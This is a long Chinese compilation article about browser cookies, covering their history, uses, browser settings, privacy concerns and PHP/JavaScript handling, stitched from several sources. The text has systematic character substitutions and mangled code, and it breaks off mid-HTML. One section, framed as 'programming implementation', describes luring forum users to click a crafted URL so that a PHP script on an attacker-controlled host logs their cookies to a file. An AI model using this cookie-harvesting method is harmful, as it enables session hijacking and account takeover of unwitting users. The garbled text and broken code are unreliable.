Cookie,有时也用其复数形式
Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(一般通过加密)。定义于 RFC2109 和 2965 中的都已废弃,最新取代的规范是 RFC6265[1]
。(能够叫作浏览器缓存)
-
中文名
-
储存在用户本地终端上的数据
-
外文名
-
Cookie
-
复数形式
-
Cookies
基于 Internet的各类服务系统应运而生,创建商业站点或者功能比较完善的我的站点,经常须要记录访问者的一些信息;论坛做为 Internet发展的产物之一,在 Internet 中发挥着愈来愈重要的做用,是用户获取、交流、传递信息的主要场所之一,论坛经常也须要记录访问者的一些基本信息(如身份识别号码、密码、用户在 Web 站点购物的方式或用户访问该站点的次数)。目前公认的是,经过 Cookie 和 Session 技术来实现记录访问者的一些基本信息[2]
。
Cookie 技术诞生以来,它就成了广大网络用户和 Web 开发人员争论的一个焦点。有一些网络用户,甚至包括一些资深的 Web 专家也对它的产生和推广感到不满,这并非由于 Cookie 技术的功能太弱或其余技术性能上的缘由,而是由于 Cookie 的使用对网络用户的隐私构成了危害。由于 Cookie 是由 Web 服务器保存在用户浏览器上的小文本文件,它包含有关用户的信息[2]
。
Cookie 技术产生源于 HTTP 协议在互联网上的急速发展。随着互联网的深层次发展,带宽等限制不存在了,人们须要更复杂的互联网交互活动,就必须同服务器保持活动状态。因而,在浏览器发展初期,为了适应用户的需求,技术上推出了各类保持 Web 浏览状态的手段,其中就包括了 Cookie 技术。1993 年,网景公司雇员 Lou Montulli 为了让用户在访问某网站时,进一步提升访问速度,同时也为了进一步实现我的化网络,发明了今天普遍使用的 Cookie[3]
。
Cookie 能够翻译为“小甜品,小饼干” ,Cookie 在网络系统中几乎无处不在,当咱们浏览之前访问过的网站时,网页中可能会出现 :你好 XXX,这会让咱们感受很亲切,就好像吃了一个小甜品同样。这实际上是经过访问主机中的一个文件来实现的,这个文件就是 Cookie。在 Internet 中,Cookie 其实是指小量信息,是由 Web 服务器建立的,将信息存储在用户计算机上的文件。通常网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据一般会通过加密处理[3]
。
Cookie 在计算机中是个存储在浏览器目录中的文本文件,当浏览器运行时,存储在 RAM 中发挥做用 (此种 Cookies 称做 Session Cookies),一旦用户从该网站或服务器退出,Cookie 可存储在用户本地的硬盘上 (此种 Cookies 称做 Persistent Cookies)[3]
。
一般状况下,当用户结束浏览器会话时,系统将终止全部的 Cookie。当 Web 服务器建立了Cookies 后,只要在其有效期内,当用户访问同一个 Web 服务器时,浏览器首先要检查本地的Cookies,并将其原样发送给 Web 服务器。这种状态信息称做“Persistent Client State HTTP Cookie” ,简称为 Cookies[3]
。
Cookie 是在 HTTP 协议下,服务器或脚本能够维护客户工做站上信息的一种方式。Cookie 是由 Web 服务器保存在用户浏览器(客户端)上的小文本文件,它能够包含有关用户的信息。不管什么时候用户连接到服务器,Web 站点均可以访问 Cookie 信息[2]
。
目前有些 Cookie 是临时的,有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除[2]
。
持续的 Cookie 则保存在用户的 Cookie 文件中,下一次用户返回时,仍然能够对它进行调用。在 Cookie 文件中保存 Cookie,有些用户担忧 Cookie 中的用户信息被一些别有用心的人窃取,而形成必定的损害。其实,网站之外的用户没法跨过网站来得到 Cookie 信息。若是由于这种担忧而屏蔽 Cookie,确定会所以拒绝访问许多站点页面。由于,当今有许多 Web 站点开发人员使用 Cookie 技术,例如 Session 对象的使用就离不开 Cookie 的支持[2]
。
在同一个页面中设置 Cookie,其实是按从后往前的顺序进行的。若是要先删除一个 Cookie,再写入一个 Cookie,则必须先写写入语句,再写删除语句,不然会出现错误[2]
。
Cookie是面向路径的。缺省路径 (path) 属性时,Web 服务器页会自动传递当前路径给浏览器,指定路径强制服务器使用设置的路径。在一个目录页面里设置的 Cookie 在另外一个目录的页面里是看不到的 [2]
。
Cookie 必须在 HTML 文件的内容输出以前设置;不一样的浏览器 (Netscape Navigator、Internet Explorer) 对 Cookie 的处理不一致,使用时必定要考虑;客户端用户若是设置禁止 Cookie,则 Cookie 不能创建。 而且在客户端,一个浏览器能建立的 Cookie 数量最多为 300 个,而且每一个不能超过 4KB,每一个 Web 站点能设置的 Cookie 总数不能超过 20 个[2]
。
Cookie 从来指就着牛奶一块儿吃的点心。然而,在
因特网内,“Cookie”这个字有了彻底不一样的意思。那么“Cookie”究竟是什么呢?“Cookie”是小量信息,由
网络服务器发送出来以存储在网络浏览器上,从而下次这位独一无二的访客又回到该网络服务器时,可从该浏览器读回此信息。这是颇有用的,让浏览器记住这位访客的特定信息,如上次访问的位置、花费的时间或用户首选项(如样式表)。Cookie 是个存储在浏览器目录的文本文件,当浏览器运行时,存储在 RAM 中。一旦你从该网站或网络服务器退出,Cookie 也可存储在计算机的硬驱上。当访客结束其浏览器对话时,即终止的全部 Cookie。
使用cookie实现单点登陆
Cookie最先是网景公司的前雇员Lou Montulli在1993年3月的发明。
Cookie是由
服务器端生成,发送给User-Agent(通常是浏览器),浏览器会将Cookie的key/value保存到某个目录下的
文本文件内,下次请求同一网站时就发送该Cookie给
服务器(前提是浏览器设置为启用cookie)。Cookie名称和值能够由服务器端开发本身定义,对于JSP而言也能够直接写入jsessionid,这样服务器能够知道该用户是不是合法用户以及是否须要从新登陆等,服务器能够设置或读取Cookies中包含信息,借此维护用户跟服务器会话中的状态。[4]
Cookie的安全级别包括组织所用Cookie,接受全部Cookie,中级,和高级
服
c#中的cookie编程
务器能够利用Cookies包含信息的任意性来筛选并常常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是断定注册用户是否已经登陆网站,用户可能会获得提示,是否在下一次进入此网站时保留用户信息以便简化登陆手续,这些都是Cookies的功用。另外一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不一样页面中选择不一样的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。
使用和禁用Cookie
用户能够改变浏览器的设置,以使用或者
禁用Cookies。
工具 > Internet选项 > 隐私页
调节滑块或者点击“高级”,进行设置.
(注: 在
Linux版本中,是以下操做:编辑 > 首选项 > 隐私 , 而Mac则是:Firefox > 属性 > 隐私)
查看源网页
设置Cookies选项
设定阻止/容许的各个域内Cookie
查看Cookies管理窗口,检查现存Cookie信息,选择删除或者阻止它们
苹果计算机 Safari
Safari > 预置 > 安全标签
选择如下的选项
老是 接受 Cookies
永不 接受 Cookies
接受 Cookies 仅从您浏览的站点 (例如,不接受来自其它站点的广告) 预设的选项.
您能够显示全部驻留在您浏览器中的 cookies,也可随时将它们之一删除。
NETSCAPE
查看源网页
“PREFERENCE\ADVANCED\COOKIES”,在出现的窗口中有三个选项,选择“DISABLECOOKIES”便可关闭COOKIE。在IE中,选择“查看”/“INTERNET选项”/“高级",在随后出现的窗口中找到“COOKIES”一项,选择“禁止全部的COOKIE 使用”可关闭COOKIE。
Konqueror
若是没有设置cookie列表,请记住在域名前面加入“.”,例如.,不然百度将不会读取cookie(针对KDE 3.3)。
Cookies就是服务器暂存放在你的电脑里的资料(.txt格式的文本文件),好让服务器用来辨认你的计算机,本文简单介绍什么是cookies,cookies有什么做用,以及网站利用cookie存在什么问题。
什么是Cookies(“小甜饼”)呢?简单来讲,Cookies就是服务器暂时存放在你的电脑里的资料(.txt格式的文本文件),好让服务器用来辨认你的计算机。当你在浏览网站的时候,Web服务器会先送一小小资料放在你的计算机上,Cookies 会把你在网站上所打的文字或是一些选择都记录下来。当下次你再访问同一个网站,Web服务器会先看看有没有它上次留下的Cookies资料,有的话,就会依据Cookie里的内容来判断使用者,送出特定的网页内容给你。
cookies有什么做用呢?许多网站上都有新用户注册这一项,有时注册了一下,等到下次再访问该站点时,会
自动识别到你,而且向你问好,是否是以为很亲切?固然这种做用只是表面现象,更重要的是,网站能够利用cookies跟踪统计用户访问该网站的习惯,好比什么时间访问,访问了哪些页面,在每一个网页的停留时间等。利用这些信息,一方面是能够为用户提供个性化的服务,另外一方面,也能够做为了解全部用户行为的工具,对于网站经营策略的改进有必定参考价值。例如,你在某家航空公司站点查阅航班时刻表,该网站可能就建立了包含你旅行计划的Cookies,也可能它只记录了你在该站点上曾经访问过的Web页,在你下次访问时,网站根据你的状况对显示的内容进行调整,将你所感兴趣的内容放在前列。这是高级的Cookie应用。目前Cookies 最普遍的是记录用户登陆信息,这样下次访问时能够不须要输入本身的用户名、密码了——固然这种方便也存在用户信息泄密的问题,尤为在多个用户共用一台电脑时很容易出现这样的问题。
另外,有人认为网站利用cookies可能存在侵犯用户隐私的问题,但因为大多用户对此了解很少,并且这种对用户我的信息的利用多数做为统计数据之用,不必定形成用户的直接损失,所以对于cookies与用户隐私权的问题并无相关法律约束,不少网站仍然在利用cookie跟踪用户行为,有些程序要求用户必须开启cookie才能正常应用。IE浏览器用户能够经过“隐私”选项中的隐私设置的高低来决定是否容许网站利用cookie跟踪本身的信息,从所有限制到所有容许,或者限制部分网站,也能够经过手动方式对具体的网站设置容许或者禁止使用cookies进行编辑。IE浏览器的默认设置是 “中级”-对部分网站利用cookie有限制。我的电脑的cookies设置(对IE浏览器而言)可经过菜单“工具-Internet选项-隐私”来查看和修改。
Cookie能够保持登陆信息到用户下次与
服务器的会话,换句话说,下次访问同一网站时,用户会发现没必要输入用户名和密码就已经登陆了(固然,不排除用户手工删除Cookie)。而还有一些Cookie在用户退出会话的时候就被删除了,这样能够有效保护我的隐私。
Cookie在生成时就会被指定一个Expire值,这就是Cookie的生存周期,在这个周期内Cookie有效,超出周期Cookie就会被清除。有些页面将Cookie的生存周期设置为“0”或负值,这样在关闭浏览器时,就立刻清除Cookie,不会记录用户信息,更加安全。
若是
c#中的cookie编程
在一台计算机中安装多个浏览器,每一个浏览器都会在各自独立的空间存放cookie。由于cookie中不但能够确认用户,还能包含计算机和浏览器的信息,因此一个用户用不一样的浏览器登陆或者用不一样的计算机登陆,都会获得不一样的cookie信息,另外一方面,对于在同一台计算机上使用同一浏览器的多用户群,cookie不会区分他们的身份,除非他们使用不一样的用户名登陆。
反对cookies者
一些人反对cookie在网络中的应用,他们的理由以下:
一、识别不精确
参见上面的识别功能。
二、隐私,安全和广告
Cookies在某种程度上说已经严重危及用户的隐私和安全。其中的一种方法是:一些公司的高层人员为了某种目的(譬如市场调研)而访问了从未去过的网站(经过
搜索引擎查到的),而这些网站包含了一种叫作网页臭虫的图片,该图片透明,且只有一个像素大小(以便隐藏),它们的做用是将全部访问过此页面的计算机写入cookie。然后,电子商务网站将读取这些cookie信息,并寻找写入这些cookie的网站,随即发送包含了针对这个网站的相关产品广告的
垃圾邮件给这些高级人员。
由于更具备针对性,使得这套系统行之有效,收到邮件的客户或多或少表现出对产品的兴趣。这些站点一旦写入cookie并使其运做,就能够从电子商务网站那里得到报酬,以维系网站的生存。
鉴于隐藏的危害性,
瑞典已经经过对cookie立法,要求利用cookie的网站必须说明cookie的属性,而且指导用户如何禁用cookie。
尽管cookie没有病毒那么危险,但它仍包含了一些敏感信息:用户名,计算机名,使用的浏览器和曾经访问的网站。用户不但愿这些内容泄漏出去,尤为是当其中还包含有私人信息的时候。
这并不是危言耸听,一种名为跨站点脚本攻击(Cross site scripting)能够达到此目的。一般跨站点脚本攻击每每利用网站漏洞在网站页面中植入脚本代码或网站页面引用第三方法脚本代码,均存在跨站点脚本攻击的可能,在受到跨站点脚本攻击时,脚本指令将会读取当前站点的全部 Cookie 内容(已不存在 Cookie 做用域限制),而后经过某种方式将 Cookie 内容提交到指定的服务器(如:AJAX)。一旦 Cookie 落入攻击者手中,它将会重现其价值。
建议开发人员在向客户端 Cookie 输出敏感的内容时(譬如:该内容能识别用户身份):
1)设置该 Cookie 不能被脚本读取,这样在必定程度上解决上述问题。
2)对 Cookie 内容进行加密,在加密前嵌入时间戳,保证每次加密后的密文都不同(而且能够防止消息重放)。
3)客户端请求时,每次或定时更新 Cookie 内容(即:基于第2小条,从新加密)
4)每次向 Cookie 写入时间戳,数据库须要记录最后一次时间戳(防止 Cookie 篡改,或重放攻击)。
5)客户端提交 Cookie 时,先解密而后校验时间戳,时间戳若小于数据数据库中记录,即意味发生攻击。
基于上述建议,即便 Cookie 被窃取,却因 Cookie 被随机更新,且内容无规律性,攻击者没法加以利用。另外利用了时间戳另外一大好处就是防止 Cookie 篡改或重放。
Cookie 窃取:搜集用户cookie并发给攻击者的黑客。攻击者将利用cookie信息经过合法手段进入用户账户。
Cookie 篡改:利用安全机制,攻击者加入代码从而改写 Cookie 内容,以便持续攻击。
Cookie 有哪些用途?
Cookie 的用途之一是存储用户在特定网站上的密码和 ID。另外,也用于存储起始页的首选项。在提供我的化查看的网站上,将要求你的网络浏览器利用你计算机硬驱上的少许空间来储存这些首选项。这样,每次你登陆该网站时,你的浏览器将检查你是否就该惟一的服务器有任何预先定义的首选项(cookie)。若是有的话,浏览器将此 cookie 随你对网页的请求一块儿发送给服务器。Microsoft 和 Netscape 使用 cookie 在其网站上建立我的起始页。各家公司利用 cookie 的通常用途包括:在线订货系统、网站我的化和网站跟踪。
网站我的化是 cookie 最有益的用途之一。例如,当谁来到 CNN 网站,但并不想查看任何商务新闻。网站容许他将该项选为关闭选项。从那时起(或者直到 cookie 逾期),他在访问 CNN 网页时将不会读到商务新闻。
这些 Cookie 是如何起做用的?
文档的 HTML 代码中的命令行告诉浏览器设置某一名称或数值的 cookie。如下是用来设置 cookie脚本的一个普通实例。
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那么安全性如何?HTTP Cookie 不能用来从阁下的硬驱上检索我的数据、放置病毒、获得阁下的电子邮件地址或偷窃有关阁下身份的敏感信息;然而,HTTP Cookie 可用来跟踪阁下在特定网站上的所到之处。不使用 cookie 就很难进行网站跟踪。
至于其余一切与因特网有关的事,如同阁下所但愿的那样是匿名的。没有网站知道阁下是谁,除非阁下本身透露给网站。同时,cookie 只是为了更好地了解使用模式并改进网站访客的效率而采用的一个网站跟踪统计手段而已。
若是网站设计师旨在使网页能与访客更具互动做用,或者若设计师计划让访客自定义网站的外观,则就须要使用 cookie。并且,若是阁下想要网站在某些状况下改变其外观,cookie 则提供了一条快速、容易的途径,让阁下的 HTML 页面按须要而改变。最新型的服务器使用 cookie 有助于数据库的互动性,进而改进网站的总体互动性。
简介
适用对象:初级读者
Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站经过读取Cookie,得知你的相关信息,就能够作出相应的动做,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登陆等。你能够在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看全部保存到你电脑里的Cookie。这些文件一般是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。若是你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不一样的是,NETSCAPE是使用一个Cookie 文件记录全部网站的Cookies。
为了保证上网安全咱们须要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其余版本IE能够在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。一般状况,能够将滑块调整到“中高”或者“高”的位置。多数的论坛站点须要使用Cookie信息,若是你历来不去这些地方,能够将安全级调到“阻止全部Cookies”。若是只是为了禁止个别网站的Cookie,能够单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你能够对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,一般要对第三方Cookie选择“拒绝”,如图1。你若是须要保存Cookie,可使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操做便可。
Cookie中的内容大多数通过了加密处理,所以在咱们看来只是一些毫无心义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。经过一些软件咱们能够查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为咱们提供了Server、Expires、Name、value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和
生命期,Name和value字段则是具体的数据。
Cookie的传递流程
适用对象:中级读者
当在浏览器地址栏中键入了
Amazon的URL,浏览器会向Amazon发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,若是找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon
服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、我的喜爱等信息,并记录下新的内容,增长到数据库和Cookie文件中去。若是没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你建立新的ID信息,并保存到数据库中。
Cookie是利用了
网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,均可以伴随Cookie传递,例如,浏览器的打开或刷新网页操做。服务器将Cookie添加到网页的
HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。若是浏览器不容许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不同的,这些都是由服务器的设置不一样决定的。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器能够经过设定Expires字段的数值,来改变Cookie的保存时间。若是不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种状况。一般状况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。
Cookie的编程实现
适用对象:高级读者
该方法主要有两步,首先要定位你须要收集Cookie的网站,并对其进行分析,并构造URL;而后编制收集Cookie的PHP代码,并将其放到你能够控制的网站上,当不知情者单击了你构造的URL后能够执行该PHP代码。下面咱们看具体的实现过程。
首先打开咱们要收集Cookie的网站,这里假设是登录网站输入用户名“”(不含引号),对数据进行分析就是你可以控制的某台主机上的一个脚本。须要注意的是“%2B”为符号“+”的URL编码,由于“+”将被做为空格处理。该URL就能够在论坛中发布,诱使别人点击了。
该脚本的做用就是收集Cookie文件,具体内容以下:
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."\n";
fclose($fp);
}
>
Cookie的安全问题
适用对象:全部但愿上网安全的读者
Cookie记录着用户的账户ID、密码之类的信息,若是在网上传递,一般使用的是MD5方法加密。这样通过加密处理后的信息,即便被网络上一些别有用心的人截获,也看不懂,由于他看到的只是一些无心义的字母和数字。然而,遇到的问题是,截获Cookie的人不须要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,而且可以经过验证,他们就能够冒充受害人的身份,登录网站。这种方法叫作Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,而且冒充者要得到被冒充的人的Cookie信息。网站的验证程序要排除全部非法登陆是很是困难的,例如,编写验证程序使用的语言可能存在漏洞。并且要得到别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就能够实现(具体方法见三),只要把这段代码放到网络里,那么全部人的Cookie都可以被收集。若是一个论坛容许HTML代码或者容许使用Flash标签就能够利用这些技术收集Cookie的代码放到论坛里,而后给帖子取一个吸引人的主题,写上有趣的内容,很快就能够收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,尚未特效药,咱们也只能使用一般的防御方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽可能不登录不了解底细的网站。
Flash中有一个getURL()函数,Flash能够利用这个函数自动打开指定的网页。所以它可能把你引向一个包含恶意代码的网站。打个比方,当你在本身电脑上欣赏精美的
Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面能够收集你的Cookie、也能够作一些其余的事情,好比在你的机器上种植木马甚至格式化你的硬盘等等。对于
Flash的这种行为,网站是没法禁止的,由于这是Flash文件的内部行为。咱们所能作到的,若是是在本地浏览尽可能打开
防火墙,若是防火墙提示的向外发送的数据包并不为你知悉,最好禁止。若是是在Internet上欣赏,最好找一些知名的大网站。
Cookie是怎样工做的?
要了解Cookie,必不可少地要知道它的工做原理。通常来讲,Cookie经过HTTP Headers从服务器端返回到浏览器上。
首先,服务器端在响应中利用Set-Cookie header来建立一个Cookie ,而后,浏览器在它的请求中经过Cookie header包含这个已经建立的Cookie,而且把它返回至服务器,从而完成浏览器的论证。
例如,咱们建立了一个名字为login的Cookie来包含访问者的信息,建立Cookie时,服务器端的Header以下面所示,这里假设访问者的注册名是“Michael Jordan”,同时还对所建立的Cookie的属性如pathdomain、expires等进行了指定。
expires=Monday,01-Mar-99 00:00:01 GMT
上面这个Header会自动在浏览器端计算机的Cookie文件中添加一条记录。浏览器将变量名为“login”的Cookie赋值为“Michael Jordon”。注意,在实际传递过程当中这个Cookie的值是通过了URLEncode方法的URL编码操做的。这个含有Cookie值的HTTP Header被保存到浏览器的Cookie文件后,Header就通知浏览器将Cookie经过请求以忽略路径的方式返回到服务器,完成浏览器的认证操做。
此外,咱们使用了Cookie的一些属性来限定该Cookie的使用。例如Domain属性可以在浏览器端对Cookie发送进行限定,具体到上面的例子,该Cookie只能传送到指定的服务器上,而决不会跑到其余的Web站点上去。Expires属性则指定了该Cookie保存的时间期限,例如上面的Cookie在浏览器上只保存到1999年3月1日1秒。固然,若是浏览器上Cookie 太多,超过了系统所容许的范围,浏览器将自动对它进行删除。至于属性Path,用来指定Cookie将被发送到服务器的哪个目录路径下。
说明:浏览器建立了一个Cookie后,对于每个针对该网站的请求,都会在Header中带着这个Cookie;不过,对于其余网站的请求Cookie是绝对不会跟着发送的。并且浏览器会这样一直发送,直到Cookie过时为止。
上一部分讲了有关Cookie的技术背景,这部分来讲说在PHP里如何设置、使用、删除Cookie,及Cookie的一些限制。PHP对Cookie支持是透明的,用起来很是方便。
相关函数
PHP用SetCookie函数来设置Cookie。必须注意的一点是:Cookie是
HTTP协议头的一部分,用于浏览器和服务器之间传递信息,因此必须在任何属于
HTML文件自己的内容输出以前调用Cookie函数。SetCookie 函数定义了一个Cookie,而且把它附加在HTTP头的后面,SetCookie函数的原型以下:
int SetCookie(string name,string value,int expire,string path,string domain,int secure);
除了name以外全部的参数都是可选的。value,path,domain 三个参数能够用空字符串代换,表示没有设置;expire和 secure两个参数是数值型的,能够用0表示。expire参数是一个标准的Unix时间标记,能够用time()或mktime() 函数取得,以秒为单位。secure参数表示这个Cookie是否经过加密的HTTPS协议在网络上传输。当前设置的Cookie 不是当即生效的,而是要等到下一个页面时才能看到.这是因为在设置的这个页面里Cookie由服务器传递给客户浏览器,在下一个页面浏览器才能把Cookie从客户的机器里取出传回服务器的缘由。在同一个页面设置Cookie,实际是从后往前,因此若是要在插入一个新的Cookie以前删掉一个,你必须先写插入的语句,再写删除的语句,不然可能会出现不但愿的结果。
使用举例
来看几个例子:
简单的:
SetCookie("MyCookie","Value of MyCookie");
带失效时间的:
SetCookie("WithExpire","Expire in 1 hour",time()+3600);//3600秒=1小时
什么都有的:
这里还有一点要说明的,好比你的站点有几个不一样的目录,那么若是只用不带路径的Cookie的话,在一个目录下的页面里设的Cookie在另外一个目录的页面里是看不到的,也就是说,Cookie是面向路径的。实际上,即便没有指定路径,WEB 服务器会自动传递当前的路径给浏览器的,指定路径会强制服务器使用设置的路径。解决这个问题的办法是在调用SetCookie时加上路径和域名,域名的格式能够是SetCookie函数里表示value的部分,在传递时会自动被encode,也就是说,若是value的值是“test value”在传递时就变成了“test%20value”,跟URL的方法同样。固然,对于程序来讲这是透明的,由于在PHP接收Cookie的值时会自动将其decode。
若是要设置同名的多个Cookie,要用
数组,方法是:
SetCookie("CookieArray[]","Value 1");
SetCookie("CookieArray[]","Value 2");
或
SetCookie("CookieArray[0]","Value 1");
SetCookie("CookieArray[1]","Value 2");
接收和处理Cookie
PHP对Cookie的接收和处理的支持很是好,是彻底自动的,跟FORM变量的原则同样,特别简单。好比设置一个名为MyCookier的Cookie,PHP会自动从
WEB服务器接收的HTTP头里把它分析出来,并造成一个与普通变量同样的变量,名为$myCookie,这个变量的值就是Cookie的值。数组一样适用。
另一个办法是引用PHP的全局变量$HTTP_COOKIE_VARS数组。
分别举例以下:(假设这些都在之前的页面里设置过了,而且仍然有效)
echo $MyCookie;
echo $CookieArray[0];
echo count($CookieArray);
echo $HTTP_COOKIE_VARS["MyCookie"];
就这么简单。
在Windows XP系统中利用“导入/导出向导”能够方便地导出Cookie信息,方法以下:
第1步,打开“导入/导出向导”并单击“下一步”按钮,在打开的“导入/导出选择”向导页中选中“导出Cookie”选项,并单击“下一步”按钮。
第2步,在打开的“导出Cookie目标”向导页中,单击“浏览”按钮指定合适的位置和文件名,并单击“下一步”按钮。
第3步,打开“正在完成导入/导出向导”向导页,单击“完成”按钮开始导出操做。导出成功后会给出提示,单击“肯定”按钮便可。[8]
第一个是:新建一个有相同name名称的cookie,把value值设为空,而后设置它生存时间为0
好比要删除一个名叫username的cookie:
Cookie c=new Cookie("username","");
c.setMaxAge(0);
response.addCookie(c);
第二个是*(vista中):在桌面按F1,弹出帮助, 输入cookie,选择 删除Internet cookie,弹出 "Internet 选项",在 浏览记录 一栏里选择 “删除”,而后弹出删除的内容(包括
临时文件,表单记录等),选择 删除cookie,便可。
此法,适用于各类浏览器,包括360,遨游,
闪游,火狐,
世界之窗等。
IE浏览器
-
在打开的下拉列表中点击“Internet选项”。
-
在打开的弹出菜单中点击"删除按钮"。
-
选中"Cookie 和网站数据",其它项能够不选中,再点击下面的删除按钮。等待约10秒钟左右,就会出现删除成功的提示。
flash
-
在打开的“控制面板”中点击 “Flash Player”。
-
在打开的"flash player 设置管理器"中选择"存储",再点击"所有删除"按钮。
-
最后选中“删除全部站点数据和设置”,而后点击“删除数据”按钮就便可。
cookie 经常使用于识别用户。cookie 是一种服务器留在用户计算机上的小文件。每当同一台计算机经过浏览器请求页面时,这台计算机将会发送 cookie。经过 PHP,您可以建立并取回 cookie 的值。[9]
建立 Cookie
setcookie() 函数用于设置 cookie。[9]
注释:setcookie() 函数必须位于 <html> 标签以前。
语法:
setcookie(name, value, expire, path, domain);
在下面的例子中,咱们将建立名为 "user" 的 cookie,并为它赋值 "Alex Porter"。咱们也规定了此 cookie 在一小时后过时:
1
2
3
4
5
6
|
<?php
setcookie(
"user"
,
"AlexPorter"
,time()+3600);
?>
<html>
.....
|
注释:在发送 cookie 时,cookie 的值会自动进行 URL 编码,在取回时进行自动解码。(为防止 URL 编码,请使用 setrawcookie() 取而代之。)
取回 Cookie 值
PHP 的 $_COOKIE 变量用于取回 cookie 的值。[9]
在下面的实例中,咱们取回了名为 "user" 的 cookie 的值,并把它显示在了页面上:
1
2
3
4
5
6
7
|
<?php
echo
$_COOKIE
[
"user"
];
print_r(
$_COOKIE
);
?>
|
在下面的实例中,咱们使用 isset() 函数来确认是否已设置了 cookie:
1
2
3
4
5
6
7
8
9
10
11
12
|
<html>
<body>
<?php
if
(isset(
$_COOKIE
[
"user"
]))
echo
"Welcome"
.
$_COOKIE
[
"user"
].
"!<br>"
;
else
echo
"Welcomeguest!<br>"
;
?>
</body>
</html>
|
删除 Cookie
当删除 cookie 时,您应当使过时日期变动为过去的时间点。[9]
删除的实例:
1
2
3
4
|
<?php
setcookie(
"user"
,
""
,time()-3600);
?>
|
在这个例子中咱们要建立一个存储访问者名字的 cookie。当访问者首次访问网站时,他们会被要求填写姓名。名字会存储于 cookie 中。当访问者再次访问网站时,他们就会收到欢迎词。
首先,咱们会建立一个可在 cookie 变量中存储访问者姓名的函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
functionsetCookie(c_name,value,expiredays)
{
varexdate=newDate()
exdate.setDate(exdate.getDate()+expiredays)
document.cookie=c_name+
"="
+escape(value)+
((expiredays==
null
)?
""
:
";expires="
+exdate.toGMTString())
}
|
上面这个函数中的参数存有 cookie 的名称、值以及过时天数。
在上面的函数中,咱们首先将天数转换为有效的日期,而后,咱们将 cookie 名称、值及其过时日期存入 document.cookie 对象。
以后,咱们要建立另外一个函数来检查是否已设置 cookie:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
functiongetCookie(c_name)
{
if
(document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name+
"="
)
if
(c_start!=-1)
{
c_start=c_start+c_name.length+1
c_end=document.cookie.indexOf(
";"
,c_start)
if
(c_end==-1)
c_end=document.cookie.length
returnunescape(document.cookie.substring(c_start,c_end))
}
}
return
""
}
|
上面的函数首先会检查 document.cookie 对象中是否存有 cookie。假如 document.cookie 对象存有某些 cookie,那么会继续检查咱们指定的 cookie 是否已储存。若是找到了咱们要的 cookie,就返回值,不然返回空字符串。
最后,咱们要建立一个函数,这个函数的做用是:若是 cookie 已设置,则显示欢迎词,不然显示提示框来要求用户输入名字。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
functioncheckCookie()
{
username=getCookie(
'username'
)
if
(username!=
null
&&username!=
""
)
{alert(
'Welcomeagain'
+username+
'!'
)}
else
{
username=prompt(
'Pleaseenteryourname:'
,
""
)
if
(username!=
null
&&username!=
""
)
{
setCookie(
'username'
,username,365)
}
}
}
|
这是全部的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
<html>
<head>
<scripttype=
"text/javascript"
>
